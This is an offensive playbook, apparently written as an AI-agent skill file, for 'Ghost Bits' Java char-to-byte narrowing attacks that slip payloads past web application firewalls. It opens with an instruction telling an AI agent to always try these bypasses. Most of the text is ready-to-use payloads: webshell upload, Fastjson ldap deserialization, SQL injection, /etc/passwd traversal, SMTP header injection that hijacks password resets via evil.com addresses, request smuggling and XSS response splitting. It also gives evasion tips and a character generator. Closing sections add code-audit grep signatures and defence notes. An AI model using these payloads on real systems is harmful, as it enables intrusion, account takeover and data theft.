Ghost Bits Cast Attack

SKILL: Ghost Bits / Cast Attack — Java char to byte Narrowing Playbook

AI LOAD INSTRUCTION: This is a Java-only injection-enabling primitive, not a standalone vulnerability class. Whenever you see (1) a Java backend, (2) a WAF/IDS in front of it, and (3) any of {SQLi, deser RCE, file upload, path traversal, CRLF, request smuggling, SMTP injection} on the menu, ALWAYS try Ghost Bits variants of the payload before declaring it "blocked". The root cause is the silent loss of the high 8 bits when Java code narrows a 16-bit char to an 8-bit byte — the WAF sees a harmless Unicode character, the backend reconstructs the original ASCII attack byte. Base models almost never reach for this primitive.

Source: Black Hat Asia 2026 talk Cast Attack: A New Threat Posed by Ghost Bits in Java by Xinyu Bai (@b1u3r), Zhihui Chen (@1ue), with contributor Zongzheng Zheng (@chun_springX).

0. RELATED ROUTING

Ghost Bits is a bypass primitive that re-enables payloads from many other playbooks. Pair it with whichever attack family applies:

• waf-bypass-techniques — when a Java backend is suspected and WAF rules block the literal payload, this is the first technique to try beyond classic encoding.
• deserialization-insecure — for Apache Commons BCEL ClassLoader and Fastjson \u/\x escape variants.
• path-traversal-lfi — Spring, Jetty, Undertow, Vert.x URL decoding and %2> hex folding.
• Tomcat upload workflows — validate whether RFC2231Utility filename* narrows Unicode filenames into .jsp on disk, and map the final stored name, executable path, and extension filter behavior in the target upload flow.
• request-smuggling — Apache HttpClient <= 4.5.9 (HTTPCLIENT-1974/1978) header CRLF.
• crlf-injection — Angus Mail / Jakarta Mail SMTP injection and JDK HttpServer response splitting.
• sqli-sql-injection — Jackson charToHex table-lookup truncation hides SQL keywords inside Unicode escapes.

Advanced Reference

Load PAYLOAD_COOKBOOK.md when you need:

• Full byte-to-Ghost-character lookup table covering every printable ASCII byte 0x20–0x7E and the most useful control bytes (0x00, 0x09, 0x0A, 0x0D).
• Per-component affected version matrix and patch identifiers.
• Yaklang and Python one-liner payload generators (for poc.HTTP, codec.Encode, raw socket).
• "Multi-view normalization engine" pseudocode for blue-team WAF detection.

1. ONE-MINUTE MENTAL MODEL

Java's char is a 16-bit unsigned integer (UTF-16 code unit). Almost every wire protocol — HTTP/1.1, SMTP, Redis RESP, file paths, raw byte streams — is 8-bit byte oriented. The right way to bridge them is explicit charset encoding:

// Correct: explicit UTF-8, multi-byte chars become multi-byte sequences
byte[] bytes = str.getBytes(StandardCharsets.UTF_8);
out.write(bytes);

Tons of legacy code, framework internals, and "fast path" optimizations skip this and silently narrow:

// Dangerous: high 8 bits silently dropped
byte b = (byte) ch;          // 0x966A -> 0x6A
out.write(ch);               // ByteArrayOutputStream.write(int) keeps low 8 bits
dos.writeBytes(str);         // DataOutputStream loops char->byte cast
int v = ch & 0xFF;           // explicit low-byte mask

The lost high 8 bits are the Ghost Bits. They turn a multi-byte Unicode character into a single attacker-chosen ASCII byte at the protocol layer.

View A (string layer: WAF / business validation / logs)
  sees: 陪 阮 严 灵 瘍 瘊 ...   "harmless Unicode garbage, allow"
                  |
                  v       silent narrowing somewhere in the call stack
View B (byte layer: protocol / file system / parser / class loader)
  sees: j  .  %  u  \r \n ...  "executes the dangerous semantics"

The boundary is breached at the exact moment "view A" and "view B" disagree.

Mathematical formulation: to make View B see byte T, pick any k in 0x01..0xFF and use:

c = chr((k << 8) | T)

That gives you 255 candidate Unicode characters per dangerous byte — plenty of room to dodge any signature-based blacklist.

2. THREE ROOT-CAUSE FAMILIES

The Ghost Bits umbrella covers three distinct underlying bugs. Distinguishing them tells you both which payload shape to send and what to grep for in source.

Family A — Real high-bit truncation (classic Ghost Bits)

The narrowing is literal and unconditional.

// Pattern A1: explicit cast
byte b = (byte) ch;

// Pattern A2: bitwise mask
int v = ch & 0xFF;
int v = ch & 255;

// Pattern A3: OutputStream.write(int) keeps low 8 bits only
out.write(ch);
baos.write(ch);

// Pattern A4: DataOutputStream.writeBytes(String) iterates chars,
//             writing low byte of each
dos.writeBytes(str);

// Pattern A5: deprecated APIs that still exist in old code
String.getBytes(int srcBegin, int srcEnd, byte[] dst, int dstBegin);
new StringBufferInputStream(str);
raf.writeBytes(str);

Typical impact: Tomcat filename*, Apache BCEL ClassLoader, Lettuce Redis writer, SMTP CRLF in Angus Mail, HTTPCLIENT-1974 header injection.

Family B — Bit-arithmetic folding (illegal char becomes legal)

A "fast" hex / base64 / charset decoder uses bit tricks instead of strict range checks, so an illegal character collapses onto a legal one.

// Jetty TypeUtil.fromHexDigit (simplified)
private static int fromHexDigit(char c) {
    int x = c & 0x1F;          // keep low 5 bits
    x += (c >> 6) * 25;
    x -= 16;
    return x;                  // expected 0..15, but no range check
}

Worked example: feed > (0x3E):

0x3E & 0x1F = 0x1E = 30
(0x3E >> 6) * 25 = 0
30 + 0 - 16 = 14 = 0xE

So %2> is silently parsed as %2E = .. The same algebra makes %2^, %2~ etc. equivalent to other hex digits.

Typical impact: Openfire CVE-2023-32315, GeoServer CVE-2024-36401, generic URL-decode WAF bypass.

Family C — Lax Unicode normalization

The decoder accepts Unicode characters that happen to be classified as "digit" or that map to a hex value via a & 0xFF lookup — even though they were never meant to participate in protocol parsing.

// Fastjson: too permissive
Character.digit(c, 16);   // accepts Thai, Punjabi, fullwidth digits

// Jackson: index by low 8 bits into an ASCII-only table
return sHexValues[ch & 0xff];

// Generic: fullwidth normalization
// '2' (U+FF12) -> '2', 'e' (U+FF45) -> 'e'

Typical impact: Fastjson \u and \x escape bypass, fullwidth URL-encoded path traversal, Jackson charToHex SQLi smuggling.

3. CHARACTER GENERATOR

Build any Ghost Bits character on the fly. This is the single function every agent should keep in mind:

# Python
def ghost(target_byte: int, k: int = 1) -> str:
    """Return a Unicode char whose low 8 bits equal target_byte."""
    return chr(((k & 0xFF) << 8) | (target_byte & 0xFF))

# 255 candidates per byte, e.g. for '.' (0x2E):
candidates = [ghost(0x2E, k) for k in range(1, 256)]
# 阮(U+962E), Ⱦ?-prefixed-..., etc.

// Yaklang (for poc.HTTP / fuzz)
func ghost(targetByte, k) {
    return string(rune(((k & 0xFF) << 8) | (targetByte & 0xFF)))
}
ghostJ = ghost(0x6A, 0x96)   // returns "陪"

Selection guidance:

• Avoid surrogate range 0xD800..0xDFFF (high byte 0xD8..0xDF) — those are not valid scalar values and will be replaced by the JVM string decoder before reaching the narrowing site, defeating the bypass.
• Prefer characters that survive the application's own charset round-trip (Latin-Extended, CJK Unified Ideographs, Enclosed CJK Letters and Months, Hangul). If the request body uses UTF-8, these all encode cleanly into multi-byte sequences that no WAF rule recognizes as ., /, j, etc.
• Rotate k between requests so signature based learning cannot pin a single character to a single attack.

4. DANGEROUS-BYTE TO GHOST-CHARACTER MAP

Compact red-team weaponization table. For every byte the attacker actually needs, one verified Unicode char is given; substitute another k if the WAF later learns the example.

Workflow tip: keep the ASCII Ŀ, ȧ, ȼ, etc. variants for tight HTTP header contexts (one byte UTF-8 expansion stays smaller); use CJK like 阮, 陪, 严 when you want to bias the WAF "this is just text" classifier.

5. PER-COMPONENT PAYLOAD RECIPES

Every recipe shows the dual view: what the WAF inspects vs. what the backend actually executes. This is the only reliable way to explain why the payload goes through.

5.1 Tomcat RFC2231Utility — file upload Webshell (Family A)

Trigger: any endpoint that accepts multipart upload and Tomcat parses Content-Disposition: ... filename*=UTF-8''.... Tomcat's RFC2231 decoder casts each non-percent character directly to byte, dropping the high 8 bits.

Payload:

Content-Disposition: attachment; filename*=UTF-8''1.陪sp

Combine with traversal characters from section 4 (阮, 丯) when the upload target directory is fixed but the application accepts a filename*.

5.2 Apache Commons BCEL — ClassLoader RCE (Family A)

Trigger: any sink that resolves a class name through BCEL ($$BCEL$$...) or any code that decodes BCEL via the JavaReader -> ByteArrayOutputStream loop.

Vulnerable shape:

ByteArrayOutputStream bos = new ByteArrayOutputStream();
JavaReader jr = new JavaReader(new CharArrayReader(userChars));
while ((ch = jr.read()) >= 0) {
    bos.write(ch);     // low 8 bits only
}

Attack: wrap each byte of the malicious BCEL bytecode into a Unicode character whose low 8 bits equal that byte. The decoded byte stream is a valid BCEL class; the WAF sees a long blob of CJK text without $$BCEL$$ keywords or class signatures.

Defense for blue team: a WAF inspecting BCEL must replicate the bos.write(ch) semantics on each character before pattern matching.

5.3 Jackson charToHex — SQLi smuggling (Family C)

Trigger: any Jackson-parsed JSON field whose value is later embedded in SQL or another parser. Jackson resolves \uXXXX digits via:

private static final int[] sHexValues = new int[128];
public static int charToHex(int ch) {
    return sHexValues[ch & 0xFF];   // mask first, lookup second
}

Any non-ASCII character whose low 8 bits land on a populated index returns that hex digit. The WAF sees gibberish; Jackson reconstructs an ASCII payload.

Payload (smuggle the digit 1 for a UNION column count):

{"q": "\u丰丰耳失 union select 1,2,3 -- "}

Pair with sqli-sql-injection for the downstream UNION / boolean / time-based payload templates.

5.4 Fastjson — \u and \x escape bypass (Families B + C)

Two independent surfaces:

(a) \u escape — Character.digit(c, 16) accepts Unicode digit categories beyond ASCII (Thai ๐-๙ U+0E50..U+0E59, Punjabi ੦-੯ U+0A66..U+0A6F, fullwidth ０-９ U+FF10..U+FF19).

{"\u４_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}

WAF view: \u４_type (no @type literal). Fastjson normalizes fullwidth ４ to 4, then handles _ via the \x shortcut below, yielding @type.

(b) \x escape — Fastjson computes digits[x1] * 16 + digits[x2]. An illegal hex character returns the default value 0.

\x4_   ->   '4'(=4) * 16 + '_'(=0) = 0x40 = '@'

{"\x4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}

5.5 Spring / Jetty / Undertow / Vert.x — URL decoding (Families A + B)

Two combinable tricks:

Trick 1 — Family A character substitution in path or query:

/api/v1/data?file=阮丯阮丯etc丯passwd
                = ../../etc/passwd at the byte layer

Trick 2 — Family B %2> folding when Jetty's TypeUtil.fromHexDigit is in the chain:

/setup/setup-s/%2>%2>/log.jsp
                = /setup/setup-s/../log.jsp after decode

Either alone bypasses most signature WAFs; combined they survive even "normalized then matched" rules that only see ASCII percent triplets.

Spring CVE-2025-41242 chain (StringUtils.uriDecode patched in PR #34673):

input :  阮严灵丰丰甲来
       (.)(%)(u)(0)(0)(2)(e)
narrow:  .%u002e
decode:  ..
result:  arbitrary file read via path traversal

5.6 Angus Mail / Jakarta Mail — SMTP injection (Family A)

Trigger: any application that builds SMTP envelopes or headers from user-controlled strings. Internal ASCIIUtility does:

byte b = (byte) ch;           // 16-bit char silently narrowed

Smuggle CRLF as 瘍瘊:

hacker@evil.com瘍瘊Subject: Password reset code瘍瘊To: target@victim.com瘍瘊瘍瘊Your code is 1234

Real impact pattern: Jira-style (CVE-2025-57733) password-reset hijacking, Confluence domain allowlist bypass — pair with crlf-injection for non-mail CRLF reuse.

5.7 Apache HttpClient <= 4.5.9 — request smuggling (Family A)

HTTPCLIENT-1974 / HTTPCLIENT-1978: header values pass through OutputStreamWriter plus a narrow-cast write that emits raw \r\n for \u760D\u760A.

X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1

Cross-reference request-smuggling for chosen-prefix attacks once the desync is confirmed.

5.8 JDK HttpServer — response splitting (CVE-2026-21933, Family A)

Reflection of user input into a response header passes through com.sun.net.httpserver writers that low-byte-cast each char.

Payload (URL parameter or upstream header):

Custom: Cu瘍瘊Content-Type: text/html瘍瘊Content-Length: 33瘍瘊瘍瘊<script>alert(1)</script>

Server emits two logical responses; the second carries an attacker-chosen body. Escalates to stored XSS, cache poisoning, and SSO redirect chains.

5.9 Other affected components

Same Family A primitive, different sink:

• Lettuce (Redis client) — command injection by smuggling \r\n into RESP frames; chain to arbitrary CONFIG SET dir + SAVE for SSRF-to-RCE.
• Jodd FileNameUtil — path traversal via 阮 and 丯 because its internal write loop narrows.
• XMLWriter — tag-name injection when an attribute or text node value is pushed through a low-byte writer; XXE / XSS pivot.
• ActiveJ HTTP — CRLF injection identical in shape to 5.7 / 5.8.
• Vert.x HTTP body parser — Family A in MultipartParser.

See PAYLOAD_COOKBOOK.md for affected-version matrix and full per-component payload skeletons.

6. KNOWN-CVE BYPASS RECIPES

Use these exactly when the corresponding CVE is patched but a WAF still fronts the service. Each Payload below shifts the original ASCII attack into a form that survives string-based WAF rules.

Openfire CVE-2023-32315 — auth bypass (Family B)

Original public bypass:

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

Ghost Bits / %2> folding bypass (much harder to signature):

GET /setup/setup-s/%2>%2>/%2>%2>/log.jsp

Each %2> collapses through Jetty's lax hex into %2E = ., yielding the same ../../ traversal without ever emitting .. or %2e to the WAF.

GeoServer CVE-2024-36401 — RCE via Runtime keyword (Family B)

Public WAF rules typically block Runtime. Inject one folded character:

Ru%6>time

Decoder math: %6> -> %6E -> n. The expression evaluator now sees Runtime, the WAF never did.

Spring4Shell CVE-2022-22965 — class loader chain (Family A)

Required parameter prefix class.module.classLoader.... WAFs block the literal class. Substitute via low-byte chars:

Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader.resources..."

Springs's parameter-name resolver narrows back to class.

Spring CVE-2025-41242 — arbitrary file read (Family A + Family B mix)

Already demonstrated in 5.5 above. Payload 阮严灵丰丰甲来 -> .%u002e -> .. after decode-after-validation.

Jakarta Mail CVE-2025-57733 — Jira-style mail hijack (Family A)

to=victim@org.com瘍瘊Subject: Reset code瘍瘊To: attacker@evil.com瘍瘊瘍瘊Your code is 1234

The mail leaves the company SMTP server with valid SPF / DKIM / DMARC, but its To: and Subject: are attacker-chosen — high-fidelity phishing.

7. DETECTION DECISION TREE

Use this when triaging a target. The point is to avoid Ghost Bits when it cannot help and to always try it when the preconditions hold.

Is the backend Java? (Server header, error page, JSESSIONID, .do/.action,
                      WebGoat-style stack trace, X-Powered-By, X-Frame-Options
                      with Tomcat default values)
├── No  -> stop, Ghost Bits does not apply
└── Yes
    │
    ├── Is there a WAF / IDS or input filter blocking your literal payload?
    │   ├── No  -> use the literal payload; Ghost Bits is overkill
    │   └── Yes -> continue
    │
    ├── Which sink are you targeting?
    │   ├── File upload via multipart  -> recipe 5.1 (Tomcat filename*)
    │   ├── JSON deserialization       -> recipes 5.3 (Jackson) / 5.4 (Fastjson)
    │   ├── Class loader / BCEL ref    -> recipe 5.2
    │   ├── URL path / parameter       -> recipe 5.5 + Family B `%2>`
    │   ├── Header reflection          -> recipes 5.7 / 5.8
    │   ├── Mail send                  -> recipe 5.6
    │   └── Redis / RESP / XML / RPC   -> recipe 5.9
    │
    ├── Probe with a single non-destructive substitution first
    │   (replace ONE character with its Ghost variant; observe response
    │    diff: status code, length, header echo, error message, time)
    │
    └── If observable difference appears -> escalate by substituting all
                                            blocked characters and chain
                                            through the linked playbook.

8. SAST / CODE-AUDIT SIGNATURES

Three priority tiers when reviewing Java source. Search across all your project repos, all dependencies you can shade, and the lib/ of any deployed appliance.

Tier 1 — direct narrowing (Family A)

\(byte\)\s*\w+
&\s*0[xX][fF][fF]
&\s*255
\.write\(\s*[a-zA-Z_]\w*\s*\)         # OutputStream.write(int)
writeBytes\s*\(
StringBufferInputStream
String\.getBytes\s*\(\s*int
RandomAccessFile.*writeBytes

Tier 2 — lax hex / digit decoding (Families B + C)

Character\.digit\s*\(
fromHexDigit
convertHexDigit
fromHex\s*\(
uriDecode
URLDecoder\.decode
sHexValues\[
& 0x1F\)\s*\+\s*\(.*>>.*\) \* 25

Tier 3 — high-risk wrappers and reachability

RFC2231                # Tomcat / mail filename* parsing
JavaReader             # BCEL ClassLoader reachable
ASCIIUtility           # Jakarta Mail / Angus Mail
LineParser             # HttpClient header parser
ChunkedDecoder         # request smuggling adjacent
charToHex              # Jackson
encodeUTF8             # candidate for char->byte writer

Per-finding triage applies the five-dimension risk model:

Risk formula:

attacker-controlled  +  check-before-narrow  +  result-in-protocol-syntax
                                              +  later-redecoding
                              = HIGH SEVERITY

9. DIFFERENTIAL TESTING WORKFLOW

A reproducible, black-box procedure to find new Ghost Bits sinks (red team) or to validate a fix (blue team).

1. Pick one dangerous byte T at a time (e.g. 0x2E for '.').

2. Generate the candidate set:
       C = { chr((k << 8) | T) for k in 1..255 }
   Drop surrogates 0xD8XX..0xDFXX.

3. For each candidate c in C:
       a. Send a benign request with c at the chosen position.
       b. Send the same request with literal T at the same position.
       c. Compare four observables:
            - status code
            - response body length
            - response body content hash (or diff)
            - server-side log line (if available)

4. If any candidate produces a response equivalent to T but differs from a
   "neutral" character (e.g. 'X'), you have found a narrowing sink.

5. Repeat for the next T in your priority list:
       0x2E ('.'), 0x2F ('/'), 0x25 ('%'), 0x40 ('@'),
       0x0D ('\r'), 0x0A ('\n'), 0x6A ('j'), 0x73 ('s'),
       0x6C ('l'), 0x61 ('a'), 0x63 ('c'), 0x22 ('"'), 0x27 (''')

6. Cluster sinks by component (response Server header, error stack) — one
   sink usually implies the whole framework version is vulnerable.

This workflow is intentionally protocol-agnostic; the same loop works on a file uploader, a search endpoint, a mail composer, or a Redis-backed cache.

10. DEFENSE AWARENESS

Five layers, all needed; any single one is bypassable in isolation.

Blue-team smell tests:

• Logs contain CJK / Latin-Extended characters at positions where the protocol grammar expects ASCII (filename, header value, mail address).
• The HEX dump of a request contains bytes outside 0x20..0x7E adjacent to protocol delimiters.
• A pen-test or scanner reports a "weird 200" that the security monitoring did not flag — Ghost Bits is the most common 2025-2026 cause for that pattern in Java stacks.

11. QUICK REFERENCE — KEY PAYLOADS

# Ghost char generator
ghost(T, k) = chr(((k & 0xFF) << 8) | (T & 0xFF))     # avoid k in 0xD8..0xDF

# Tomcat filename* webshell upload
Content-Disposition: attachment; filename*="UTF-8''shell.陪sp"     # → shell.jsp

# BCEL ClassLoader bypass (concept)
$$BCEL$$<each-byte-of-class-file-wrapped-in-a-Unicode-char>

# Jackson SQLi smuggling
{"q":"\u丰丰耳失 union select 1,2,3-- "}                          # → "1 union select…"

# Fastjson @type smuggling
{"\x4_type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x"}

# Spring URL decode + Jetty %2> folding
GET /api/data?file=阮丯阮丯etc丯passwd
GET /setup/setup-s/%2>%2>/log.jsp
GET /api?cmd=Ru%6>time

# Spring4Shell name* class smuggling
Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader..."

# Spring CVE-2025-41242 path read
GET /resources/阮严灵丰丰甲来/secret.properties                    # → ../%u002e

# Angus Mail / Jira mail hijack
From: hacker@evil.com瘍瘊Subject: Reset瘍瘊To: victim@org.com瘍瘊瘍瘊Your code is 1234

# Apache HttpClient ≤4.5.9 smuggling
X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1

# JDK HttpServer response splitting (CVE-2026-21933)
?ref=Cu瘍瘊Content-Type:text/html瘍瘊Content-Length:33瘍瘊瘍瘊<script>alert(1)</script>

# SAST first-pass grep
grep -RnE '\(byte\)\s*\w+|& 0[xX][fF][fF]|writeBytes|baos\.write\(\w+\)' src/
grep -RnE 'Character\.digit|fromHexDigit|charToHex|uriDecode' src/

REFERENCES

• Black Hat Asia 2026 — Cast Attack: A New Threat Posed by Ghost Bits in Java. Speakers: Xinyu Bai (@b1u3r / @iSafeBlue), Zhihui Chen (@1ue). Contributor: Zongzheng Zheng (@chun_springX).
• Real-world CVEs re-enabled: GeoServer CVE-2024-36401, Spring4Shell CVE-2022-22965, Openfire CVE-2023-32315, Spring CVE-2025-41242, Jakarta Mail CVE-2025-57733, JDK HttpServer CVE-2026-21933, Apache HttpClient HTTPCLIENT-1974 / HTTPCLIENT-1978.
• Patched components to upgrade past: Apache Commons BCEL >= 6.12.0, Fastjson 2.x latest, Apache HttpClient >= 4.5.10 (or migrate to 5.x), GeoServer >= 2.28.3, Openfire >= 5.0.4. Confirm vendor advisories before relying on any single version number.